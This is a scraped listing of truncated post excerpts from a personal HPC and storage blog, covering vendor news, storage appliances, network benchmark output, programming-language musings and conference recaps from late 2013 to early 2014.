https://blog.scalability.org/2014/03/not-so-fast/ Well, after nearly a decade of hooplah over a realization of a quantum computer, an interesting study found that it was There are a few important elements of this … it uses 1/5th the number of qubits that the newer generation machine used. But it wasn’t, as earlier reported, thousands of times faster. Way back in the day, when working on benchmarking big machines, and comparing performance, one of the major criteria was using identical (or as near to identical) algorithms as possible to assess machine speed, compiler quality, etc. https://blog.scalability.org/2014/03/which-computer-language-to-learn-next/ Sun, 16 Mar 2014 16:55:45 +0000 https://blog.scalability.org/2014/03/which-computer-language-to-learn-next/ Ok, I have as one of my professional goals, to learn a new computer language. I am at master level in several, proficient in others, and have working knowledge of a fair number. I’ve forgotten more than I care to admit about some (Fortran, Basic, C/C++, APL, x86 Assembler). The contenders for me should be useful languages. These are not things that should be learned for the sake of learning, but for real useful purposes. https://blog.scalability.org/2014/03/ot-airbnb-and-their-issues/ Sun, 16 Mar 2014 16:19:05 +0000 https://blog.scalability.org/2014/03/ot-airbnb-and-their-issues/ Ok, this one is sad. Saw this linked off of hacker news. I am not sure if this is satirical, humorous, or real. It doesn’t quite matter though. We’ve used AirBnB twice now. And we have a firm policy, as a direct result of those very negative experiences, of never … ever … using it again. To be fair, AirBnB is effectively a market maker dealing with the commodity of unused space which could be turned into a profitable asset. https://blog.scalability.org/2014/03/playing-with-several-nosqldocumenttupletime-series-dbs/ Sun, 16 Mar 2014 04:00:55 +0000 https://blog.scalability.org/2014/03/playing-with-several-nosqldocumenttupletime-series-dbs/ We’ve been using MongoDB for a while for a number of things, internally, and thinking about using it for Tiburon as the restful interface. It has some nice aspects about it, but it also has some known issues for larger DBs. Considering what we want to do for some of our work, these larger DB issues are potentially problematic for us. Basically, MongoDB is one of the class of mmap’ed DBs. https://blog.scalability.org/2014/03/retired-apache-as-web-server/ Sun, 16 Mar 2014 03:05:40 +0000 https://blog.scalability.org/2014/03/retired-apache-as-web-server/ This has been a long time coming for me. I’ve been using Apache in one form or another since the 90’s. I’ve never found it easy to configure, and often ran into maddening bugs in the config files and how they interacted with the server itself. I’d taken a long time to evaluate the various alternatives. Lighttpd caught my fancy for a while, but I ran into similar problems with config. https://blog.scalability.org/2014/03/couldnt-have-said-it-better-myself/ Sat, 15 Mar 2014 00:22:06 +0000 https://blog.scalability.org/2014/03/couldnt-have-said-it-better-myself/ Robin at StorageMojo has an interesting article up (right after the one about Violin maybe being dead). I won’t comment on that second one, other than to say I disagree with his analysis and conclusions. As the day job is nominally a competitor (we’ve seen them in a deal, once) I am biased. But the fundamental analysis simply doesn’t look good for them (or Fusion, or …). They need a larger player to buy them. https://blog.scalability.org/2014/03/the-resurrection-of-autoinst/ Thu, 13 Mar 2014 01:16:13 +0000 https://blog.scalability.org/2014/03/the-resurrection-of-autoinst/ A long time ago, in a galaxy far, far away … I worked for this company named SGI. SGI machines and software were awesome … I had used them (R3k and R8k) for doing calculations for my thesis. Very very fast. But very hard to install/manage. In fact, brutally hard. This was not lost on customers with many of these devices. One of those customers read SGI the riot act on this. https://blog.scalability.org/2014/03/good-read-on-the-faux-stem-shortages/ Mon, 10 Mar 2014 15:30:56 +0000 https://blog.scalability.org/2014/03/good-read-on-the-faux-stem-shortages/ Good post over at Math Blog. There is no short of STEM folks in the US, and hasn’t been for a long … long time. Any shortage of STEM folks would be well represented by a number of economic factors: 1) rapidly rising compensation rates (economic scarcity impacts upon costs of labor), 2) very short job search times for STEM folks, 3) additional market based initiatives to find and retain STEM folks. https://blog.scalability.org/2014/03/reality-vs-what-one-might-like/ Tue, 04 Mar 2014 17:19:11 +0000 https://blog.scalability.org/2014/03/reality-vs-what-one-might-like/ Many years ago, I had this thought in my head that I wanted to be a physics professor. No, really. I went through all the motions. Undergrad BS, then MS and then PhD. While I was doing this, the Soviet Union collapsed. How was that fact related to my former desire to be a physics prof? Simple. Its economics. Its always economics. Anyone tells you differently, they are either lying or selling you something. https://blog.scalability.org/2014/03/just-created-a-new-external-dns-on-digital-ocean/ Tue, 04 Mar 2014 05:20:20 +0000 https://blog.scalability.org/2014/03/just-created-a-new-external-dns-on-digital-ocean/ About 2 years ago, we had an issue with an internal server blowing up, taking data and config with it. I resolved to place some of our core infrastructure (external DNS, etc.) beyond our virtual boundaries, so we could maintain email/web presence in the event of a power or server issue. This has proven to be a prescient and wise move. We started out on Amazon with their small instances. And started out with dnsmasq, as I didn’t want to re-learn bind and all that config. https://blog.scalability.org/2014/03/our-second-unison-fhgfs-based-unit/ Mon, 03 Mar 2014 22:26:45 +0000 https://blog.scalability.org/2014/03/our-second-unison-fhgfs-based-unit/ Burning in … Hammering on all disks, while computing pi, e, sqrt(2), … It is a thing of beauty … [ ](/images/unison.png) First one was an Isilon replacement. We seem to have many more of these in queue. https://blog.scalability.org/2014/02/a-must-read-on-hd-selection/ Fri, 28 Feb 2014 19:32:51 +0000 https://blog.scalability.org/2014/02/a-must-read-on-hd-selection/ Henry could probably write far more in depth about this subject than he did. Regardless this is a must-read article. Now it is important to understand where you can use each technology, and Henry does a great job of explaining some of these. However, its important to note that as some of the file system and device bits are pushed into higher levels in the stack, some of the functionality becomes redundant at the lower levels. https://blog.scalability.org/2014/02/darn/ Fri, 28 Feb 2014 15:46:37 +0000 https://blog.scalability.org/2014/02/darn/ E: Couldn't find these debs: pico dtrace Forgot what platform I was working on … https://blog.scalability.org/2014/02/big-blue-blues/ Fri, 28 Feb 2014 15:04:17 +0000 https://blog.scalability.org/2014/02/big-blue-blues/ I remember my two stints at IBM T.J. Watson very well … first as a summer student (college hire for summer), and then as an engineer after finishing undergraduate. It was a wonderful place. I really enjoyed it. Not simply computer nerd heaven, but physical scientist nerd heaven as well. IBM famously was the company that resisted layoffs and downsizing for a long time. But it eventually gave in, and was forced into RIF actions during their troubled times in the 1990’s and 2000’s. https://blog.scalability.org/2014/02/in-18-months/ Mon, 24 Feb 2014 06:15:57 +0000 https://blog.scalability.org/2014/02/in-18-months/ … I’ll have hit 10 years of blogitude … bloggerisms … er … generation of large amounts of noise and heat, and hopefully at least a little light? Mebbe? https://blog.scalability.org/2014/02/excellent-article-on-luceras-financial-cloud/ Fri, 21 Feb 2014 03:41:33 +0000 https://blog.scalability.org/2014/02/excellent-article-on-luceras-financial-cloud/ … that the day job is building atop our siCloud platform. In the article (definitely read it!) there is an great discussion about what the fundamental differences are between what Lucera is aiming for and what more traditional commodity cloud vendors are focused upon. When it comes down to it, the difference is architecting for density of VMs in the commodity cloud versus architecting for performance and low latency in the performance cloud (Lucera’s). https://blog.scalability.org/2014/02/does-fibre-channel-have-a-future/ Thu, 20 Feb 2014 02:30:35 +0000 https://blog.scalability.org/2014/02/does-fibre-channel-have-a-future/ Strange question. Its really a question about block storage in general than FC in particular, but I have a sense that FC may be the first to go down as it were. Ok … I’ve been looking up mechanisms to help customers in a media editing environment. Their preferred file system depends, to a degree, upon IP over FC for connectivity. They need to interconnect Mac OSX machines, Linux and Windows machines to the same storage resources. https://blog.scalability.org/2014/02/the-end-of-an-era/ Tue, 18 Feb 2014 21:09:16 +0000 https://blog.scalability.org/2014/02/the-end-of-an-era/ Posted to the xfs list: SGI is stepping out of maintainer roles for xfs, xfsprogs, xfsdump, and xfstests. This removes me from the MAINTAINERS entry. Signed-off-by: XXXXXXXXXXXXXX --- [SGI will continue to host oss.sgi.com as a repository for the XFS open source git trees, mailing list, and documentation as is provided today. And will also continue to participate in a less formal role.] Thanks! -Ben MAINTAINERS | 1 - 1 file changed, 1 deletion(-) SGI the original creator of xfs, almost 20 years ago, is removing itself from the pathway going forward. https://blog.scalability.org/2014/02/updates-been-busy-but-here-are-a-few/ Sat, 15 Feb 2014 17:34:31 +0000 https://blog.scalability.org/2014/02/updates-been-busy-but-here-are-a-few/ We’ve sold our first Unison storage cloud to replace an Isilon unit for a bioinformatics core. Performance and density matter, and we have both. About to deploy next phase of cloud for one of our partners … Setting up an exciting trade show presence … Working on an extension of what we’ve been wanting to build for a long time … and now it looks like its in reach. Oh … my … this is huge … https://blog.scalability.org/2014/02/why-not-go-galt/ Sun, 09 Feb 2014 22:59:11 +0000 https://blog.scalability.org/2014/02/why-not-go-galt/ For those who don’t get the reference, “going Galt” points back to the masterpiece novel “Atlas Shrugged” by Ayn Rand. In it, one of the characters is named John Galt, and part of what he does, early in the novel, is convince those whom create jobs, and wealth in the country, to abandon their efforts, as the government lurches harder and farther to the redistributionist world view. Indeed, the country eventually goes full on socialist in the story, where people are not allowed to quit work, take a better job, and so forth. https://blog.scalability.org/2014/02/the-state-of-hpc-tier-1-vendors/ Fri, 07 Feb 2014 19:27:04 +0000 https://blog.scalability.org/2014/02/the-state-of-hpc-tier-1-vendors/ Much has been happening in the HPC tier 1 vendor space. Some of it has made the news, much has not. The TL;DR version: I believe that most of the tier 1 HPC capability may have been wiped out over the last few months. 1 tier 1 and a bunch of tier 2 are left. Basically, the HPC market has a number of tiers within it, and product mixes across these tiers. https://blog.scalability.org/2014/02/lyrical-offspring/ Fri, 07 Feb 2014 03:28:10 +0000 https://blog.scalability.org/2014/02/lyrical-offspring/ I can’t name her, at her request, but this is my progeny singing for her high school battle of the bands. They took second place. Fantastic job, offspring of mine! https://blog.scalability.org/2014/02/the-changing-face-of-storage/ Thu, 06 Feb 2014 17:04:54 +0000 https://blog.scalability.org/2014/02/the-changing-face-of-storage/ Over at InsideHPC, Rich pointed to an blog by Henry Newman about the changing face of SSD. I’d argue that its not just SSD, but storage in general. But Henry, as usual, nails it. Henry opines To a degree, we see them at least investing in the technologies behind the up market devices. At “worst” acquiring them. Because as Henry points out Very much so. Look at Seagate and WD with their micro NAS appliances. https://blog.scalability.org/2014/02/on-those-annoying-full-page-non-scrollable-javascript-ads-on-pages/ Thu, 06 Feb 2014 16:52:07 +0000 https://blog.scalability.org/2014/02/on-those-annoying-full-page-non-scrollable-javascript-ads-on-pages/ Guys, please, seriously, stop that. They don’t work on mobile or desktop devices when the window size is smaller than the area required to see the [X] Close button. Whom ever came up with this, it is a bad idea. Stop it now. Before I get pissed off enough to write a web proxy that specifically filters out such stupidity, or purposefully renders that to an offscreen invisible layer which is forced to be non-modal. https://blog.scalability.org/2014/02/an-offer-for-the-day-jobs-customers-in-financial-services/ Tue, 04 Feb 2014 20:05:19 +0000 https://blog.scalability.org/2014/02/an-offer-for-the-day-jobs-customers-in-financial-services/ See here. TL;DR version: A free month on Lucera’s cloud. https://blog.scalability.org/2014/02/ocp-thoughts/ Sun, 02 Feb 2014 20:01:12 +0000 https://blog.scalability.org/2014/02/ocp-thoughts/ I didn’t post a response to the article written a little more than a year ago claiming that OCP had “blown up the server market”. Yes, that was really in the title. I’ll ignore most of the obvious issues with this, but lets review a year later, shall we? Open hardware designs are great in concept. Share your design with the world, and lower your customers costs … er … whoops. https://blog.scalability.org/2014/02/ibms-sale-of-x86-servers-and-networking-to-lenovo/ Sun, 02 Feb 2014 07:04:11 +0000 https://blog.scalability.org/2014/02/ibms-sale-of-x86-servers-and-networking-to-lenovo/ I’d waited a while before posting on this for a number of reasons, not the least of which was I was quite busy. But also, I wanted to understand what was and was not sold. Now that some of the dust has settled, and both companies have publicly discussed this, we know pretty well what is included in the sale. I don’t need to get in to that aspect, you can read it all very succinctly on Lenovo’s site. https://blog.scalability.org/2014/01/the-last-straw-for-us-for-gluster/ Wed, 29 Jan 2014 15:38:49 +0000 https://blog.scalability.org/2014/01/the-last-straw-for-us-for-gluster/ We’ve had customers migrating off of it for the past few years, as bugs have gone un-addressed, reports closed, and discussions cut off or ignored. Its costing us too much in support time and effort now. Its time to pull the plug. I like many things about gluster. Really I do. I’ve been a strong proponent of it long before it was cool to do so, as the design was in line with what I thought was needed to build scale out file systems. https://blog.scalability.org/2014/01/we-had-a-record-setting-knock-the-barn-doors-down-year-last-year/ Sat, 25 Jan 2014 15:32:27 +0000 https://blog.scalability.org/2014/01/we-had-a-record-setting-knock-the-barn-doors-down-year-last-year/ … and believe it or not, I forgot to mention it. This is the first time in company history that we had a backlog going into Q1. Orders being built and tested on the last work day of the year. We grew, not the amount we had originally forecast, but we understand why (and sadly have little control over that aspect). We are working very hard on our appliances … I am blown away as to how perfect a fit they are for folks. https://blog.scalability.org/2014/01/something-has-been-bugging-me-about-the-centos-absorption-by-red-hat/ Sat, 25 Jan 2014 06:35:34 +0000 https://blog.scalability.org/2014/01/something-has-been-bugging-me-about-the-centos-absorption-by-red-hat/ I am obviously not a lawyer, and I’ve not consulted one. Feel free to point out my mistakes, and note that this is not legal advice. You need to speak to a lawyer on that, I am just guessing. The language on here is pretty clear as to what Red Hat owns. I have no problem with their ownership of it. Nor do I have a problem with them imposing their particular concept of ownership. https://blog.scalability.org/2014/01/yay-latest-java-update-broke-supermicro-remote-console/ Fri, 24 Jan 2014 16:41:38 +0000 https://blog.scalability.org/2014/01/yay-latest-java-update-broke-supermicro-remote-console/ JRE 7 u 51. Self signed Java console applet. Let the hilarity begin. I tried uploading our own cert and key to the unit. No luck. Its the applet the needs to be re-signed. This is the joyous message that awaits: Of course, the IPMIview tool sorta kinda works. Though its useless for remote support ops. Doesn’t set off the signed issue. Mebbe they ignore signing? Which is worse … the self signed cert, or the sign ignoring app. https://blog.scalability.org/2014/01/an-analytical-takedown-gone-awry/ Thu, 23 Jan 2014 22:57:28 +0000 https://blog.scalability.org/2014/01/an-analytical-takedown-gone-awry/ See here which is the response to the arvix article here. While the Facebook data scientists refer to their post as a debunking, using irrelevant metric (enrollment vs google rank? and the theory behind this is … what?), the paper points out something quite important. Social networking success has been largely ephermal, and not sustainable. Its a transient phenomenon. Anyone remember Friendster? MySpace? More to the point, the internet entities that dominated 15 years ago are largely gone. https://blog.scalability.org/2014/01/when-bugs-attack-the-case-of-the-ever-expanding-virtualbox-image/ Wed, 08 Jan 2014 15:47:18 +0000 https://blog.scalability.org/2014/01/when-bugs-attack-the-case-of-the-ever-expanding-virtualbox-image/ So I’ve got a Mac Mini and a Linux machine on my desk at work. I am trying hard to use the Mac Mini for day to day stuff, but the sheer broken-ness of the keyboard (yes, really) for Mac’s is driving me near batty. I am trying though. (Hint to Apple: You aren’t better at everything, and most especially not keyboards and interfacing to higher quality Logitech keyboards, you almost completely fail … don’t even get me started on mice …). https://blog.scalability.org/2014/01/centos-merges-with-red-hat/ Tue, 07 Jan 2014 22:45:37 +0000 https://blog.scalability.org/2014/01/centos-merges-with-red-hat/ See this page for more. Inclusive of this merging is a new set of requirements for using the word CentOS. Since we ship an updated and modified kernel, and we update and modify packages to reflect our needs, we are going to have to alter our “CentOS derived distribution” statement. Or switch to another distribution. Its an annoyance, but maybe its time to revisit the distribution scenario. I see nothing wrong with using Debian as the basis, and building from there. https://blog.scalability.org/2014/01/blocking-hacker-probes/ Sun, 05 Jan 2014 17:53:26 +0000 https://blog.scalability.org/2014/01/blocking-hacker-probes/ I honestly no longer even write a nice note to their ISP. I just tend to block the whole ISP from reaching our site(s). Its easier, and lower pain for us. Definitely saddens me that we have to do this, but I see enough probes in our logs that I have to. https://blog.scalability.org/2013/12/fixed-the-ipoib-performance-issue/ Fri, 27 Dec 2013 16:48:45 +0000 https://blog.scalability.org/2013/12/fixed-the-ipoib-performance-issue/ For our Unison Parallel File Systems Appliance: [root@unison-jr4-2 ~]# iperf -c 10.3.1.1 ------------------------------------------------------------ Client connecting to 10.3.1.1, TCP port 5001 TCP window size: 1.00 MByte (default) ------------------------------------------------------------ [ 3] local 10.3.1.2 port 48383 connected with 10.3.1.1 port 5001 [ ID] Interval Transfer Bandwidth [ 3] 0.0-10.0 sec 13.5 GBytes 11.6 Gbits/sec and of course in parallel [root@unison-jr4-2 ~]# iperf -c 10.3.1.1 -P2 ------------------------------------------------------------ Client connecting to 10.3.1.1, TCP port 5001 TCP window size: 1. https://blog.scalability.org/2013/12/a-network-we-can-work-with/ Fri, 27 Dec 2013 02:56:11 +0000 https://blog.scalability.org/2013/12/a-network-we-can-work-with/ A Unison file system appliance connected with Infiniband and 10GbE. [root@unison-jr4-2 ~]# qperf 10.3.1.1 rc_bi_bw rc_bi_bw: bw = 9.7 GB/sec [root@unison-jr4-2 ~]# qperf 10.3.1.1 ud_lat ud_bw ud_lat: latency = 3.66 us ud_bw: send_bw = 4.9 GB/sec recv_bw = 4.9 GB/sec and of course, IPoIB [root@unison-jr4-2 ~]# qperf 10.3.1.1 tcp_bw tcp_lat tcp_bw: bw = 474 MB/sec tcp_lat: latency = 13.4 us which, if you run the same thing over a pair of good 10GbE ports … https://blog.scalability.org/2013/12/ma-continues-xyratex-bought-by-seagate/ Tue, 24 Dec 2013 05:13:05 +0000 https://blog.scalability.org/2013/12/ma-continues-xyratex-bought-by-seagate/ The story is in the Register. An immediate question, and one of somewhat deja vu (all over again) … what is the impact upon Lustre IP? Xyratex had announced that it obtained ownership of the Lustre IP from Oracle a few months ago. This IP was in the form of trademarks, and a number of related bits. Now Xyratex has been bought. And if it keeps the Lustre HPC bits, it will be directly competing with its customers. https://blog.scalability.org/2013/12/the-evolving-market-for-hpc-part-1-recent-past/ Sat, 21 Dec 2013 17:20:28 +0000 https://blog.scalability.org/2013/12/the-evolving-market-for-hpc-part-1-recent-past/ I’ve said this many times, and at many different venues. HPC drives downmarket, and does so very hard. High cost solutions have limited lifetimes, at best. At worst, they will not catch on. 2013 was the year of the accelerators. We predicted this many years ago. I won’t beat this dead horse (for us). I’ll simply say “we were right”, and right with great specificity and accuracy. This seams to be a pattern with us. https://blog.scalability.org/2013/12/calxeda-restructures/ Thu, 19 Dec 2013 21:59:21 +0000 https://blog.scalability.org/2013/12/calxeda-restructures/ The day job had been talking to and working with Calxeda for a while. They’ve been undergoing some changes over the last few months as they worked to transition from an evangelist to a systems builder. The day job just got a note that they are restructuring. What this specifically means to an outsider, I am not sure, though I could speculate. HP has a vested interest in them. I wouldn’t be surprised to see a rapid asset acquisition. https://blog.scalability.org/2013/12/prognostications-for-2014-from-an-expert/ Tue, 17 Dec 2013 18:09:32 +0000 https://blog.scalability.org/2013/12/prognostications-for-2014-from-an-expert/ Not me. Henry Newman at Enterprise Storage Forum. See articlehere. His first prediction of more consolidation in the SSD space is a given. I’ve been arguing that for a while. On the fab side, there are what … four producers left? Toshiba/Sandisk, Samsung, Intel/Micron, Hynix? Did I miss anyone? Will any of them leave (voluntarily or otherwise)? I think the SSD space that will really consolidate is on the SSD-as-a-rack-appliance side, as well as on the card side. https://blog.scalability.org/2013/12/violin-kicks-out-founding-ceo/ Tue, 17 Dec 2013 17:07:18 +0000 https://blog.scalability.org/2013/12/violin-kicks-out-founding-ceo/ Story at The Register. Usually you give a CEO some time to right a listing ship. I pointed out in a recent post that there are some significant grumblings about Violin and in fact about most of the flash-as-rack-appliance space. I had noted We’ve run into them a few times in competitive situations, so take what I write about them with an appropriate mass of NaCl. All the pure-play flash array vendors have to answer a basic question about their existence. https://blog.scalability.org/2013/12/ma-avago-grabs-lsi/ Tue, 17 Dec 2013 16:24:10 +0000 https://blog.scalability.org/2013/12/ma-avago-grabs-lsi/ Avago, a spinout from Agilent which was a spinout from HP, just bought LSI. Avago is largely a supplier of components to a variety of industries, dealing with modules, optoelectronics, etc. If you look at their product mix, you see effectively zero overlap with LSI. They are not even in, arguably, the same markets. I am scratching my head over this one. I could see it as a play to gain a foothold into the storage space. https://blog.scalability.org/2013/12/first-new-unison-product-sold/ Thu, 12 Dec 2013 20:59:19 +0000 https://blog.scalability.org/2013/12/first-new-unison-product-sold/ We were showing off the Unison units at #SC13, and while on the show floor, we managed to sell a storage cluster. Well, technically, the sale occurred after the show (last week in reality), but most of the configuration back and forth was during the show. I can’t say anything about the configuration or stack on it … yet … but you’ll be hearing about it fairly soon. Its one we talk about quite a bit. https://blog.scalability.org/2013/12/violins-and-other-pure-flash-array-vendors-post-ipo-struggles-continue/ Thu, 12 Dec 2013 18:47:27 +0000 https://blog.scalability.org/2013/12/violins-and-other-pure-flash-array-vendors-post-ipo-struggles-continue/ There’s a story on The Register right now about Violin Memory losing its CTO. But that’s not the real interesting story. In the article, Chris Mellor does a pretty good job of laying bare the issues around Violin. There are several different threads running through this. First, they don’t have much real software IP. Their hardware IP is a different story, but fundamentally, we’ve found that its best to have a very simple and effective hardware design, coupled with intelligent software. https://blog.scalability.org/2013/12/you-can-tell-you-are-a-little-nuts-if/ Wed, 11 Dec 2013 23:25:52 +0000 https://blog.scalability.org/2013/12/you-can-tell-you-are-a-little-nuts-if/ … you get really annoyed at the performance of grep on file IO (seriously folks? 32k or page size sized IO? What is this … 1992?) so you rewrite it in 20 minute in Perl, and increase the performance by 5-8x or so. If I get angry enough, I might just go all out, use direct IO, multiple parallel readers, and some other bits. I’ve got these huge disk pipes, awesome bandwidths, and this tiny little filter tool. https://blog.scalability.org/2013/12/the-most-popular-data-analytics-language/ Sat, 07 Dec 2013 18:05:30 +0000 https://blog.scalability.org/2013/12/the-most-popular-data-analytics-language/ … appears to be R [ ](http://revolution-computing.typepad.com/.a/6a010534b1db25970b019b00077267970b-popup) This is in line with what I’ve heard, though I thought SAS was comparable in primary or secondary tool usage. This said, its important to note that in this survey, we don’t see mention of Python. Working against this is that it is a small (1300-ish) self-selecting sample, and the reporting company has a stake in the results. Also of importance is that R is a package with an embedded programming language, and Python is a programming language with add-ons. https://blog.scalability.org/2013/12/and-the-sc13-video-from-insidehpc-is-up/ Fri, 06 Dec 2013 14:12:44 +0000 https://blog.scalability.org/2013/12/and-the-sc13-video-from-insidehpc-is-up/ As usual Rich and the team at InsideHPC have done a tremendous job. If you don’t know InsideHPC and its sibling, InsideBigData, I highly recommend both publications. They are on my go-to list as information sources/summaries. The video shows a well caffinated Joe, talking through our new products. The problem for us was there simply wasn’t sufficient time to go into detail on everything. Which is a shame IMO, but one we’ll look at rectifying later. https://blog.scalability.org/2013/12/the-60-second-guide-to-big-data-by-gogrid/ Tue, 03 Dec 2013 14:49:55 +0000 https://blog.scalability.org/2013/12/the-60-second-guide-to-big-data-by-gogrid/ The GoGrid folks have put together a nice marketing slide on big data, in the sense that they are explaining the features of it without explaining it, or how/where they fit. Its implied that they provide all you need for Big Data, but its their points along the way that make a great point for the day job and especially our new Fast Path Big Data Appliances. Our argument has always been that you can’t approach Big Data with last millennium’s architecture. https://blog.scalability.org/2013/11/big-data-languages-the-reason-for-the-tests/ Sat, 30 Nov 2013 21:14:12 +0000 https://blog.scalability.org/2013/11/big-data-languages-the-reason-for-the-tests/ In a number of recent articles, I’ve seen/read that “Python is displacing R”, and other similar things. Something about this intrigued me, as I had heard many years ago that “Python was displacing Perl”. Only, it wasn’t. And others are questioning the supplantation premise quite strongly. It seems that there is little actual evidence of this. Mostly hyperbole, guesses, and dare I say, wishful thinking. It seems that this is modus operandi for Python advocates, and their latest object of attention is R. https://blog.scalability.org/2013/11/riemann-zeta-function-in-parallelvector-data-languages/ Sat, 30 Nov 2013 20:26:02 +0000 https://blog.scalability.org/2013/11/riemann-zeta-function-in-parallelvector-data-languages/ Continuing the work of the previous post, I looked into rewriting the serial code to run in parallel/vector data languages. My original supposition about what would make a good data language is now in doubt as a result. First, I used PDL in Perl. But its Perl, right? It can’t possibly be fast. That would be … like, I dunno … wrong? (yes, this is sarcasm). This completes the task in 12s. https://blog.scalability.org/2013/11/quick-tests-with-riemann-zeta-function-code-in-a-few-languages/ Sat, 30 Nov 2013 07:00:47 +0000 https://blog.scalability.org/2013/11/quick-tests-with-riemann-zeta-function-code-in-a-few-languages/ https://blog.scalability.org/2013/11/knights-landing/ Fri, 29 Nov 2013 17:36:22 +0000 https://blog.scalability.org/2013/11/knights-landing/ Over at InsideHPC, Rich has a short take on Knights Landing with a link to the longer article. This is implicitly the direction I thought things would be going in … drop in replacement CPUs to provide acceleration. Probably some big-small designs to handle OS tasks on specific cores (and reduce OS based jitter). This said, 2x such sockets gets you to 72 lanes of PCIe gen 3. A little light for us, but we’ll figure something out (our current units are more than this). https://blog.scalability.org/2013/11/and-ocz-goes-down/ Wed, 27 Nov 2013 23:39:01 +0000 https://blog.scalability.org/2013/11/and-ocz-goes-down/ see here This is a chapter 7, dissolution, not a chapter 11 restructuring. Assets to be sold, likely to Toshiba. I expect more of these from other vendors. SSD space has been needing a consolidation for a while. STEC purchased by WD, Smart by Sandisk has removed most of the high end of the market from the startup side. Pliant was grabbed by Sandisk previously. Whom else remains? On the low-midrange of the market, you have Intel, Micron, and a few others. https://blog.scalability.org/2013/11/i-guess-no-one-at-the-beobash-saw-the-10-discount-link/ Wed, 27 Nov 2013 16:24:21 +0000 https://blog.scalability.org/2013/11/i-guess-no-one-at-the-beobash-saw-the-10-discount-link/ Basically, if you go to this site, provide your information, use the code “beobash13”, you get a nice discount on your next purchase from Scalable Informatics until the end of 2013. The rules are simple. Basically you provide your contact information, let us know what products you want to talk about, buy them and pay for them by the end of the year. We are offering something like a 10% discount for this. https://blog.scalability.org/2013/11/finally-have-a-customer-information-page-talking-directly-to-zoho-crm/ Mon, 25 Nov 2013 06:35:01 +0000 https://blog.scalability.org/2013/11/finally-have-a-customer-information-page-talking-directly-to-zoho-crm/ This took a bit, as the API is documented, but wasn’t quite working for some reason. But now we’ve linked our signup page to drop data directly into zoho. This was made harder by the XML based API not working as documented. I posted a forum note, after searching on the forum for answers. Others had the same questions. I built a simple testing code, and it didn’t work. Posted this to the forum. https://blog.scalability.org/2013/11/sc13-the-limulus-boxen-appear/ Sat, 23 Nov 2013 19:32:46 +0000 https://blog.scalability.org/2013/11/sc13-the-limulus-boxen-appear/ [Disclosure: we do have a business relationship with Basement Supercomputing] (this is a longer version of the beowulf item I posted) Years ago, I came to the conclusion that there was no personal supercomputing market after we tried with a deskside system … what I called a “muscular desktop” with a great deal of IO, processing, ram, and graphics. We just could not find the right niche for this, and we were being badly undercut in price by the Dell-like companies of the world, selling low end boxes that were … good enough … for a small set of tasks. https://blog.scalability.org/2013/11/sc13-observations/ Sat, 23 Nov 2013 18:59:38 +0000 https://blog.scalability.org/2013/11/sc13-observations/ From a post to the beowulf list: I didn’t get a chance to see many booths … I did get free the last hour of Thursday to wander, and made sure I got to see a few people and companies. What I observed (and please feel free to challenge/contradict/offer alternative interpretations/your own views) will definitely be colored by the glasses we wear, and the market we are in. not so many chip companies (new processor designs, etc. https://blog.scalability.org/2013/11/sc13-finale/ Sat, 23 Nov 2013 00:44:54 +0000 https://blog.scalability.org/2013/11/sc13-finale/ That was a wonderful show. People got to see what we were about, our new appliances, our performance. I see many possibilities. This is good. Some key takeaways: We have the fastest densest systems in market. Our usable performance far outpaces our nearest competitors configurations which are not in a reasonable config (hello … 60+ raw JBOD? or RAID0 … seriously? And no one has challenged them on this?) our partners rocked. https://blog.scalability.org/2013/11/sc13-day-2-wrap-up/ Thu, 21 Nov 2013 06:07:15 +0000 https://blog.scalability.org/2013/11/sc13-day-2-wrap-up/ Day 1 was incredible. Day 2 topped day 1 by a fair amount. I had realized yesterday that I had forgotten to put up our speedometer website which pulled data directly from the siFlash hardware on the real IO performance. I had this unit running hard, and the IO operations were moving quite well. So I put up the web page on my laptop, and this is what we saw 30GB/S. https://blog.scalability.org/2013/11/an-apology/ Thu, 21 Nov 2013 04:23:11 +0000 https://blog.scalability.org/2013/11/an-apology/ When I mess up, I don’t normally do it in a small way. I jump in hard, head first. I made an assumption about something I did not have all the facts about today, and began to tear into someone whom did not deserve this treatment, after making him wait for me at our booth. Yeah, this was a major screw up on my part. Addison, I hope you will forgive me, and accept my humble apology. https://blog.scalability.org/2013/11/sc13-day-1-wrap-up/ Wed, 20 Nov 2013 08:32:58 +0000 https://blog.scalability.org/2013/11/sc13-day-1-wrap-up/ A good day at the booth. The talks were well attended, and speakers and their topics were interesting. Our partners in the booth: Kx, Veristorm, Basement Supercomputing, Sandisk, XtremeData, and Inktank are phenomenal. We announced many new products, all on display at our booth, and the partners working with us on these products were there to talk about the applications. What we didn’t show off were the speedometers measuring the performance live on the systems. https://blog.scalability.org/2013/11/interesting-article/ Sat, 16 Nov 2013 01:26:55 +0000 https://blog.scalability.org/2013/11/interesting-article/ I read this on Gigaom. In it, there is a claim of the densest storage on the market coming from Quanta, and a full rack of them would be about 3/4 ton (about 682 kg). Amazon uses a “special” design that comes in more than a ton according to the article. So I decided to look into what a simple 42U rack of say 10 of our bad boys would come out with weight wise. https://blog.scalability.org/2013/11/legend-wait-for-it-dary/ Fri, 15 Nov 2013 22:32:39 +0000 https://blog.scalability.org/2013/11/legend-wait-for-it-dary/ This bit on 0mq’s forum … My favorite comment: https://blog.scalability.org/2013/11/broken-apis-and-other-time-wasters/ Fri, 15 Nov 2013 06:25:04 +0000 https://blog.scalability.org/2013/11/broken-apis-and-other-time-wasters/ So I spent the day trying to figure out why my simple form submission which then generated an XML output, and then a subsequent post to Zoho CRM, did not, in fact, work. I was doing this without the Zoho code, just a description of their API. Its an older API, that much is obvious. You talk to it through XML. You post your XML. But you put parameters on the URI to control the post. https://blog.scalability.org/2013/11/sneak-peek-at-ui-atop-restful-api/ Wed, 13 Nov 2013 16:27:16 +0000 https://blog.scalability.org/2013/11/sneak-peek-at-ui-atop-restful-api/ This is our new, common UI across all machines, clusters, clouds, appliances, tiburon/Scalable OS … This one in particular is running atop our siRouter. More on that soon, but have a little gander. [ ](/images/SOS-v1.png) The UI is basically a “thin” layer atop the RESTful interface. And its a proper RESTful interface, none of this conflated GET where we mean POST/PUT and all that. More at SC13. I promise. https://blog.scalability.org/2013/11/kvm-incompatible-with-xfs/ Sun, 10 Nov 2013 03:17:39 +0000 https://blog.scalability.org/2013/11/kvm-incompatible-with-xfs/ Just found this out by way of an experiment for a partner. Cool partner, cool product, running on our fast hardware for SC13. Problem is that I was seeing some very odd error messages when I tried to mount a volume stored in a file on an xfs based LUN. I could dd to the file. I could mkfs.ext* the /dev/vda. But the moment I tried to mount it, block errors. 